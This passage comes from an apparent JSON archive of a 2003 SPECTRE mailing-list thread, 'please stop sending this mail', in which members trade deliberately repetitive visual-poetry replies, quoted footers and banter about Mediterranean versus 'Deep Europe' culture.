as\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\np.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.passolini? or dante?\n\n+\n\n> , & alive ?\n\n???\n\n\n+\n\ni am still alive\n\no.k.++\n\n\n\nregards\n\n[ b.t.w. gene.coded in *deep* mediterranian ]\n\nd\n\n\n\n\n> From: \"astr\u00ebe galbiatta .vnatrc.net.\" <astreegalbiatta at vnatrc.net>\n> Date: Mon, 07 Apr 2003 15:08:54 +0200 (CEST)\n> To: spectre at mikrolisten.de\n> Subject: Re: [spectre] please stop sending this mail\n> \n> En r\u00e9ponse \u00e0 mediterranian sea <the_sea_is_me at yahoo.com>:\n> \n> yes,\n> why not being \n> sunny, clear, joyful\n> , & alive ?\n\n+\n\ni am still alive\n\no.k.++\n\n\n>> Yahoo! Tax Center - File online, calculators, forms, and more\n\n>> Yahoo! Tax Center - File online, calculators, forms, and more\n\n>> Yahoo! Tax Center - File online, calculators, forms, and more\n\n>> Yahoo! Tax Center - File online, calculators, forms, and more\n\n>> Yahoo! Tax Center - File online, calculators, forms, and more\n\n>> Yahoo! Tax Center - File online, calculators, forms, and more\n\n>> Yahoo! Tax Center - File online, calculators, forms, and more\n\n>> Yahoo! Tax Center - File online, calculators, forms, and more\n\n>> Yahoo! Tax Center - File online, calculators, forms, and more\n\n+\n\ni am still alive\n\no.k.++\n\n>> ______________________________________________\n>> ______________________________________________\n>> ______________________________________________\n>> ______________________________________________\n>> ______________________________________________\n>> ______________________________________________\n>> ______________________________________________\n>> ______________________________________________\n>> ______________________________________________\n>> ______________________________________________\n\n\n>> http://tax.yahoo.com\n>> ______________________________________________\n\n\n+\n\ni am still alive\n\no.k.++\n\n\n> \n> thanks for this smile from mediterranea !\n> \n> kisses\n> astr\u00ebe\n> \n> \n> \"Le vent se l\u00e8ve! . . . il faut tenter de vivre!\n> L'air immense ouvre et referme mon livre,\n> La vague en poudre ose jaillir des rocs!\n> Envolez-vous, pages tout \u00e9blouies!\n> Rompez, vagues! Rompez d'eaux r\u00e9jouies\n> Ce toit tranquille o\u00f9 picoraient des focs!\"\n> \n> \n>> Please please stop sending us this jargon and\n>> pretentious poetry.\n>> I find it sad, offensive, annoying and bothersome. Am\n>> I alone here?\n>> I could say more but it saddens me and I am tired and\n>> weary of conversations to a machine.\n>> \n>> \n>> \n>> \n>> ::cracked crys.tall.ine bea[s]ts\n>> ________________\n>> ::men[iscus_heart] plucking via broken bag.ga[u]ges\n>> _____\n>> ::toffee_leaking eyes + modal<head>\n>> __________\n>> ::butter hands creased [chrono(scopic)]logically\n>> ____\n>> ::[man]Dal[a]i shrin.cages + silence\n>> m[h]ounds||shrink_[psycho w]rapped + tender\n>> b[rown]andaging\n>> ______________________\n>> \n>> \n>> .\n>> .whis.purred time par.$elling.\n>> .\n>> _____\n>> \n>> \n>> ______________________________________________\n>> SPECTRE list for media culture in Deep Europe\n>> Info, archive and help:\n>> http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n>> \n>> \n>> \n>> __________________________________________________\n>> Do you Yahoo!?\n>> Yahoo! Tax Center - File online, calculators, forms, and more\n>> http://tax.yahoo.com\n>> ______________________________________________\n>> SPECTRE list for media culture in Deep Europe\n>> Info, archive and help:\n>> http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n>> \n>> \n> \n> \n> \n> \u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\n> mais    \n> \n> veux tu mais \n> \n> veux    \n> ____________\n> \n> g.n.a.p.b.l.\n> .vnatrc.net/\n> ______________________________________________\n> SPECTRE list for media culture in Deep Europe\n> Info, archive and help:\n> http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n> \n\n\n\n+\n\ni am still alive\n\no.k.++\n\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n[spectre] please stop sending this mail\n\ni am still alive\n\no.k.++\n\n|||||||||||darko.fritz.propaganda\n________________________________ http://members.ams.chello.nl/fritzd\n\n\n",
                                "date": "Tue Apr  8 22:19:57 CEST 2003",
                                "message-id": "2085",
                                "url": "http://post.in-mind.de/pipermail/spectre/2003-April/002085.html",
                                "content-type": "n/a",
                                "follow-up": [
                                    {
                                        "from": "astreegalbiatta at vnatrc.net",
                                        "id": "2086",
                                        "content": "En r\u00e9ponse \u00e0 darko fritz <fritz.d at chello.nl>:\n\n1st : pasolini, not passolini\n\n2nd : last check up at dental surgeon ?\n\n3rd : breathe with the nose !\n\nkisses \nastr\u00ebe\n\n\n> \n> dear mediterranians\n> \n> +\n> dear visual poetry haters > please upgrade your sens|e|ibility now!\n> \n> *free of charge* \n> \n> sens|e|bility for media culture in Deep Europe version 0.1.2 available\n> now!\n> \n> Info, archive and help:\n> http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n> \n> >> pretentious poetry.\n> \n> > why not being \n> > sunny, clear, joyful\n> \n> maybe we can ask some mediterranians as\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.passolini? or\n> dante?\n> \n> +\n> \n> > , & alive ?\n> \n> ???\n> \n> \n> +\n> \n> i am still alive\n> \n> o.k.++\n> \n> \n> \n> regards\n> \n> [ b.t.w. gene.coded in *deep* mediterranian ]\n> \n> d\n> \n> \n> \n> \n> > From: \"astr\u00ebe galbiatta .vnatrc.net.\" <astreegalbiatta at vnatrc.net>\n> > Date: Mon, 07 Apr 2003 15:08:54 +0200 (CEST)\n> > To: spectre at mikrolisten.de\n> > Subject: Re: [spectre] please stop sending this mail\n> > \n> > En r\u00e9ponse \u00e0 mediterranian sea <the_sea_is_me at yahoo.com>:\n> > \n> > yes,\n> > why not being \n> > sunny, clear, joyful\n> > , & alive ?\n> \n> +\n> \n> i am still alive\n> \n> o.k.++\n> \n> \n> >> Yahoo! Tax Center - File online, calculators, forms, and more\n> \n> >> Yahoo! Tax Center - File online, calculators, forms, and more\n> \n> >> Yahoo! Tax Center - File online, calculators, forms, and more\n> \n> >> Yahoo! Tax Center - File online, calculators, forms, and more\n> \n> >> Yahoo! Tax Center - File online, calculators, forms, and more\n> \n> >> Yahoo! Tax Center - File online, calculators, forms, and more\n> \n> >> Yahoo! Tax Center - File online, calculators, forms, and more\n> \n> >> Yahoo! Tax Center - File online, calculators, forms, and more\n> \n> >> Yahoo! Tax Center - File online, calculators, forms, and more\n> \n> +\n> \n> i am still alive\n> \n> o.k.++\n> \n> >> ______________________________________________\n> >> ______________________________________________\n> >> ______________________________________________\n> >> ______________________________________________\n> >> ______________________________________________\n> >> ______________________________________________\n> >> ______________________________________________\n> >> ______________________________________________\n> >> ______________________________________________\n> >> ______________________________________________\n> \n> \n> >> http://tax.yahoo.com\n> >> ______________________________________________\n> \n> \n> +\n> \n> i am still alive\n> \n> o.k.++\n> \n> \n> > \n> > thanks for this smile from mediterranea !\n> > \n> > kisses\n> > astr\u00ebe\n> > \n> > \n> > \"Le vent se l\u00e8ve! . . . il faut tenter de vivre!\n> > L'air immense ouvre et referme mon livre,\n> > La vague en poudre ose jaillir des rocs!\n> > Envolez-vous, pages tout \u00e9blouies!\n> > Rompez, vagues! Rompez d'eaux r\u00e9jouies\n> > Ce toit tranquille o\u00f9 picoraient des focs!\"\n> > \n> > \n> >> Please please stop sending us this jargon and\n> >> pretentious poetry.\n> >> I find it sad, offensive, annoying and bothersome. Am\n> >> I alone here?\n> >> I could say more but it saddens me and I am tired and\n> >> weary of conversations to a machine.\n> >> \n> >> \n> >> \n> >> \n> >> ::cracked crys.tall.ine bea[s]ts\n> >> ________________\n> >> ::men[iscus_heart] plucking via broken bag.ga[u]ges\n> >> _____\n> >> ::toffee_leaking eyes + modal<head>\n> >> __________\n> >> ::butter hands creased [chrono(scopic)]logically\n> >> ____\n> >> ::[man]Dal[a]i shrin.cages + silence\n> >> m[h]ounds||shrink_[psycho w]rapped + tender\n> >> b[rown]andaging\n> >> ______________________\n> >> \n> >> \n> >> .\n> >> .whis.purred time par.$elling.\n> >> .\n> >> _____\n> >> \n> >> \n> >> ______________________________________________\n> >> SPECTRE list for media culture in Deep Europe\n> >> Info, archive and help:\n> >> http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n> >> \n> >> \n> >> \n> >> __________________________________________________\n> >> Do you Yahoo!?\n> >> Yahoo! Tax Center - File online, calculators, forms, and more\n> >> http://tax.yahoo.com\n> >> ______________________________________________\n> >> SPECTRE list for media culture in Deep Europe\n> >> Info, archive and help:\n> >> http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n> >> \n> >> \n> > \n> > \n> > \n> > \u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\n> > mais    \n> > \n> > veux tu mais \n> > \n> > veux    \n> > ____________\n> > \n> > g.n.a.p.b.l.\n> > .vnatrc.net/\n> > ______________________________________________\n> > SPECTRE list for media culture in Deep Europe\n> > Info, archive and help:\n> > http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n> > \n> \n> \n> \n> +\n> \n> i am still alive\n> \n> o.k.++\n> \n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> [spectre] please stop sending this mail\n> \n> i am still alive\n> \n> o.k.++\n> \n> |||||||||||darko.fritz.propaganda\n> ________________________________ http://members.ams.chello.nl/fritzd\n> \n> \n> ______________________________________________\n> SPECTRE list for media culture in Deep Europe\n> Info, archive and help:\n> http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n> \n> \n\n\n\n\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\n    mais    \n            \nveux tu mais \n            \n    veux    \n____________\n\ng.n.a.p.b.l.\n.vnatrc.net/\n",
                                        "date": "Wed Apr  9 06:37:22 CEST 2003",
                                        "message-id": "2086",
                                        "url": "http://post.in-mind.de/pipermail/spectre/2003-April/002086.html",
                                        "content-type": "n/a",
                                        "author_name": "astr\u00ebe galbiatta .vnatrc.net.",
                                        "subject": "[spectre] please stop sending this mail"
                                    },
                                    {
                                        "from": "zone at desk.nl",
                                        "id": "2089",
                                        "content": "\nhey hey hey,\n\nDeep eu is just another soros(tm) blessed hoax (c 1999) by ana peraica\nisn't it? in contrat mediterranian/s are all about sharing (culture, arts,\nsea, coast, vine, kitchen/recipes, songs afterwards, and whatsoever what\n*we* use to do and/or how we behave) in the broadest common sense.\n\nDarko dear, you are born there aren't you. BTW your D.F. Propaganda(tm)\n- (- self-advertise with care! - by Spectre Info page ) is just designed\nto be *acceptable* in the context of (syndicate/spectre/nettime) not that\nmuch about *ddep eu* isn' it (IMHO)...\n\nSo why not to have some inputs from *shallows of eu*, IMO mediterranean\nis quite underestimated here, somewhat rather nonexistent topic in deep\neu discussions, however that's good in the way (*no news are good news*,\nso things for *proper* news *needed to be bad*, fortunatelly mediterranean\nis full of good things and good weather so noone there is in *breaking\nnews business, common ground there is rather *take it easy* or *pomalo*),\nso breeze which comes from the eu shallows (cL) is rather fine, whatsoever\nit's opens new horizon rather colorfull, in contrast of deep europe grayness...\n\nso dear Astr\u00ebe go on\n\nbest\n\nz\n\n\n(BTW mediterraneo is deepest europeo, however it's bit different, way of\n*gnu is not unix*\n\n\nPS.\n\nwondered why Im using word contrast, see mediterranean is all about it ;)\n\n\n\n\nOn Wed, 9 Apr 2003, astr\u00ebe galbiatta .vnatrc.net. wrote:\n\n> En r\u00e9ponse \u00e0 darko fritz <fritz.d at chello.nl>:\n>\n> 1st : pasolini, not passolini\n>\n> 2nd : last check up at dental surgeon ?\n>\n> 3rd : breathe with the nose !\n>\n> kisses\n> astr\u00ebe\n>\n>\n> >\n> > dear mediterranians\n> >\n> > +\n> > dear visual poetry haters > please upgrade your sens|e|ibility now!\n> >\n> > *free of charge*\n> >\n> > sens|e|bility for media culture in Deep Europe version 0.1.2 available\n> > now!\n> >\n> > Info, archive and help:\n> > http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n> >\n> > >> pretentious poetry.\n> >\n> > > why not being\n> > > sunny, clear, joyful\n> >\n> > maybe we can ask some mediterranians as\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > 